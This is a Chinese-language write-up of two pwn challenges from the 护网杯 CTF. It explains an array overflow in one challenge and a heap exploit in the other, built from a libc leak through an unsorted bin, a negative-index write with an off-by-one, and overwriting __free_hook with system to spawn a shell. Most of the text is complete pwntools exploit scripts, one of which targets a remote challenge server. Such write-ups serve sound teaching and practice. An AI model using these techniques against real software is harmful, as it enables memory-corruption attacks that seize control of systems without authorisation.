护网杯

0x01task_gettingStart_ktQeERc
护网杯
数组溢出,把数据填充进去就行(0.1都已经被ida识别了意味着一定能在ida里面找到0.1)

from pwn import *
p=remote("49.4.79.193",32449)
payload=p64(0x00)+p64(0x00)+p64(0x00)+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
p.recvuntil("seconds...\n")
p.sendline(payload)
p.sendline("cat flag")
p.interactive()

0x02peda-session-task_shoppingCart

护网杯
2个核心函数。
保护全开。
护网杯
第一个函数主要提供了一个申请空间的函数,申请的空间的指针会放在bss段里面。

第二个函数提供了3个功能
护网杯
delete功能,free掉空间并且指针清零,ennnnnnnn uaf怕是用不了了。

护网杯
add功能,可以看出来数据的结构是2层chunk结构,在bss段里面有一个地址。然后read函数也没问题。

护网杯
edit功能,可以看里面的v0是输入值但是v1没有显示,可以用gdb跟出来v0和v1是同一个东西,但是v1的定义是__int64 v1这里就存在了数组越界漏洞。(v1可以取负值)
还有一点是在read的时候有一个off-by-one漏洞


首先没有system函数需要leak
申请一个unsortbin大小的chunk再free掉会在这个chunk里面写入libc相关的地址。正常情况下free掉之后会被清零但是如果我再申请一个大小为0的chunk就能再次得到被free掉的空间的地址。

add(0x100,'aaaa') #0
add(0x70,'/bin/sh\0') #1
delete(0)
add(0,'')#2
edit(2)
p.recvuntil("modify ")
data=p.recvuntil(" to?\n",drop=True)
main_arena=u64(data.ljust(8,"\x00"))
print "main_arena="+hex(main_arena)
libc.address=main_arena-0x10-344-libc.symbols["__malloc_hook"]

这里有一个小技巧main_arena-0x10-libc.symbols["__malloc_hook"]=libc_base,然后libc.address放进去值之后后面直接取symbols就能计算出来精确地址。

地址随机化让所有的地址都是变的很无奈,bss段的地址也是变的,不知道什么机制。
每次运行发现2个特殊的chunk
护网杯
这玩意应该是fgets函数形成的,接下来的分析会涉及到fgets函数
通过程序对bss段的操作可以找到程序运行时bss段的地址
护网杯
先看一下bss段的内容
护网杯
显示got表然后是在第一个核心函数里面填充的钱(0x0061616161616161)然后是指向存钱的地址,
然后是add函数里面申请的2个chunk。
edit的时候可以取负值就意味着可以编辑这里的所有内容。(但是got表是不可写的)(这里要用hook函数__free_hook)
然后看read函数编辑的是**(qword_2021E0+v1)有2层指针。
接下来需要发现:
1.v1=-1的时候修改的是0x55bd56257138这个地址处的数据,有一个off-by-one意味着能修改
2.0x55bd56257140: 0x000055bd57750430里面的30为00.
3.fgets函数会得到一个0x1010大小的chunk这个chunk紧邻的是
护网杯
如果20被修改为00就能向这个地址处写入数据。

payload=(str((0x202140 - 0x2021E0 )/8 &0xffffffffffffffff)+"\n").ljust(0xfe0,"a")+p64(libc.symbols["__free_hook"])
edit_f(str(-1&0xffffffffffffffff))
edit_c("a"*8)
edit_f(payload)
edit_c(p64(libc.symbols["system"]))

需要注意的一点是\n只是让fgets读进s的时候停止但是\n和它后面的所有数据都会被读进去放到那个大chunk里面

from pwn import *
context.log_level="debug"
libc=ELF("./libc.so.6")

def add(length,name):
    p.recvuntil("Now, buy buy buy!\n")
    p.sendline("1")
    p.recvuntil("How long is your goods name?")
    p.sendline(str(length))
    p.recvuntil("What is your goods name?\n")
    p.sendline(name)

def delete(index):
    p.recvuntil("Now, buy buy buy!\n")
    p.sendline("2")
    p.recvuntil("Which goods that you don't need?\n")
    p.sendline(str(index))

def edit(index):
    p.recvuntil("Now, buy buy buy!\n")
    p.sendline("3")
    p.recvuntil("Which goods you need to modify?")
    p.sendline(str(index))

def edit_c(context):
    p.recvuntil("to?\n")
    p.sendline(context)

def edit_f(index):
    p.recvuntil("Now, buy buy buy!\n")
    p.sendline("3")
    p.recvuntil("Which goods you need to modify?")
    p.sendline(index)

p=process("./task_shoppingCart")
for i in range(0x14):
    p.recvuntil("EMMmmm, you will be a rich man!")
    p.sendline('1')
    p.recvuntil("I will give you $9999, but what's the  currency type you want, RMB or Dollar?")
    p.sendline('a'*8)

p.sendline("3")
add(0x100,'aaaa') #0
add(0x70,'/bin/sh\0') #1
delete(0)
add(0,'')#2
edit(2)

p.recvuntil("modify ")
data=p.recvuntil(" to?\n",drop=True)
main_arena=u64(data.ljust(8,"\x00"))
print "main_arena="+hex(main_arena)
libc.address=main_arena-0x10-344-libc.symbols["__malloc_hook"]
p.sendline("a")

gdb.attach(p)
payload=(str((0x202140 - 0x2021E0 )/8 &0xffffffffffffffff)+"\n").ljust(0xfe0,"a")+p64(libc.symbols["__free_hook"])
edit_f(str(-1&0xffffffffffffffff))
edit_c("a"*8)
edit_f(payload)
edit_c(p64(libc.symbols["system"]))
sleep(1)
delete(1)
#c68
p.interactive()